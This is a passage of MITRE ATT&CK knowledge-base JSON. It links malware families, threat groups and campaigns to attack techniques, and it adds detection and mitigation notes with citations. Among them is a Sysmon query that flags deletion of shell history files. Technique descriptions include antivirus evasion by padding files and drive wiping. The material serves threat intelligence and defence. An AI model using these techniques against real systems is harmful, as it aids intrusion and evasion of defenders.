"1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d18d7fab-1f10-4b83-83e1-a288ec4db2bd", "type": "relationship", "created": "2019-01-29T17:59:44.411Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "source_name": "GDATA Zeus Panda June 2017"}], "modified": "2019-04-16T20:55:20.240Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for the existence of a Registry key and if it contains certain values.(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d18f30d7-deca-457c-b993-c87843ae3bab", "created": "2023-09-14T18:58:53.520Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike PIONEER KITTEN August 2020", "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.", "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-14T18:58:53.520Z", "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d19730a1-429d-4044-8c17-3e475033a6c2", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T22:18:52.742Z", "description": "Monitor for newly constructed network connections that may attempt to exfiltrate data over a different network medium than the command and control channel. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on TCP network connection creation. The below analytic is using an event ID from OSQuery. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1a17f31-c62f-4ec3-9a77-41e6a339a657", "type": "relationship", "created": "2020-05-21T17:07:02.444Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCCGroup RokRat Nov 2018", "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}, {"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}, {"source_name": "Malwarebytes RokRAT VBA January 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}], "modified": "2022-03-22T20:09:11.515Z", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can collect host data and specific file types.(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1a2cd6c-1c7b-4c1a-9416-106e7951642c", "type": "relationship", "created": "2021-09-28T18:53:02.509Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.316Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can check for the Telegram installation directory by enumerating the files on disk.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1a489c9-f937-4cc8-85d0-b4ce6b961a62", "type": "relationship", "created": "2021-10-06T19:46:33.579Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-10-14T20:53:27.380Z", "description": "[BADFLICK](https://attack.mitre.org/software/S0642) can decode shellcode using a custom rotating XOR cipher.(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "malware--57d83eac-a2ea-42b0-a7b2-c80c55157790", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1ae7dee-ba9d-4988-bd9e-eff2fe8b0cd2", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor suspicious programs execution through services. These processes may show up as outlier processes that have not been seen before when compared against historical data.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d1af80bc-f27a-46ef-9dea-4aa67a6a83f6", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:31:17.410Z", "description": "Monitor for unexpected deletion of a command history file, such as ConsoleHost_history.txt, ~/.zsh_history, or ~/.bash_history.\n\nAnalytic 1 - Deletion of command history files\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"23\") OR (source=\"*WinEventLog:Security\" EventCode=\"4663\") FilePath LIKE '%ConsoleHost_history.txt%' AND\n   ObjectType == \"File\" AND\n   (UserAccessList LIKE '%1537%' OR \n    UserAccessList LIKE '%DELETE%'))</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1b46f3e-b25c-43c0-9ab2-ef6e5ff8270c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", "source_name": "Unit 42 C0d0so0 Jan 2016"}], "modified": "2020-03-20T18:02:57.179Z", "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant used Base64 to encode communications to the C2 server.(Citation: Unit 42 C0d0so0 Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d1b6a397-4f29-4274-8394-1d5ca4fe9fc7", "created": "2023-06-14T19:11:01.671Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-26T20:10:13.833Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) can decrypt command parameters sent through C2 and use unpacking code to extract its packed executable.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d1bd6ce6-eb5f-41a1-b26f-4fe0d83e51ea", "created": "2023-03-17T15:35:48.668Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"}, {"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}, {"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}, {"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T14:49:31.434Z", "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) developed custom tools such as Sumarta, DBLL Dropper, [Torisma](https://attack.mitre.org/software/S0678), and [DRATzarus](https://attack.mitre.org/software/S0694) for their operations.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d1c6f29d-56e0-4d46-a7ec-a6d0a868cde3", "created": "2024-01-23T20:32:35.947Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-23T20:32:35.947Z", "description": "[ToddyCat](https://attack.mitre.org/groups/G1022) has used WMI to execute scripts for post exploit document collection.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d1c822a9-efbd-42d6-9627-60cc5348bf0f", "created": "2022-03-30T14:26:51.832Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor logs and other sources of command execution history for actions that could be taken to gather information about accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", "modified": "2022-04-14T14:00:35.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1d27a0f-ae6d-4058-b0ad-581aaf939e4a", "type": "relationship", "created": "2021-10-01T20:57:16.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.209Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect the local time on a compromised host.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1d496f1-fa91-404e-a93a-97670817717a", "type": "relationship", "created": "2019-01-30T17:33:41.163Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", "url": "https://securelist.com/muddywater/88059/", "source_name": "Securelist MuddyWater Oct 2018"}, {"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-03-19T13:43:29.624Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.(Citation: Securelist MuddyWater Oct 2018)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d1d57467-63ad-41b2-99ae-7661ddaf436e", "created": "2022-07-29T19:38:51.741Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for changes made to scheduled jobs that may attempt to remove artifacts on a host system.", "modified": "2022-07-29T19:38:51.741Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d1deffba-9885-4b52-b2b5-cbfcec82a52b", "created": "2023-09-25T12:41:26.902Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-25T12:41:26.902Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1e1fefe-5e60-463e-9fd3-bc5ca6d559ed", "type": "relationship", "created": "2022-02-07T17:04:29.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "modified": "2022-02-07T17:04:29.737Z", "description": "(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1ee6feb-91cb-4cac-ae57-e71358af29c2", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2020-03-30T02:41:22.009Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) can compress data with Zip before sending it over C2.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d1f0b6ab-f347-4741-bede-b7bfaf975403", "created": "2022-03-30T14:26:51.870Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "modified": "2022-04-20T03:18:04.485Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", "target_ref": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1f2ae2f-66e2-4dff-a806-75097d6c9c19", "type": "relationship", "created": "2021-08-03T17:24:56.161Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T13:57:21.808Z", "description": "[BoomBox](https://attack.mitre.org/software/S0635) can enumerate the username on a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1f44e84-61cb-4a96-add8-d37a38369e43", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}], "modified": "2019-06-24T19:15:06.564Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects a list of install programs and services on the system\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1f67e5c-72c6-4e26-91d4-bc8593e61774", "type": "relationship", "created": "2019-06-13T16:59:18.369Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", "url": "https://pages.nist.gov/800-63-3/sp800-63b.html", "source_name": "NIST 800-63-3"}], "modified": "2022-03-09T03:18:18.633Z", "description": "Refer to NIST guidelines when creating password policies.(Citation: NIST 800-63-3)", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Emissary Trojan Feb 2016", "description": "Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}], "modified": "2021-08-27T14:42:00.385Z", "description": "A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.(Citation: Emissary Trojan Feb 2016)", "relationship_type": "uses", "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2010d54-21e6-4312-b197-bca1a4c07b86", "created": "2024-02-12T20:12:20.569Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:12:20.569Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) initial installation involves dropping several files to a hidden directory named after the victim machine name.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2041a67-d846-4a1b-b704-4e437baa731a", "type": "relationship", "created": "2019-05-14T17:08:39.327Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Elfin Mar 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}], "modified": "2019-06-07T20:52:37.151Z", "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the accessible physical or logical drives of the infected machine.(Citation: Symantec Elfin Mar 2019)\t", "relationship_type": "uses", "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2065f08-57ba-4210-8863-24defbb63633", "created": 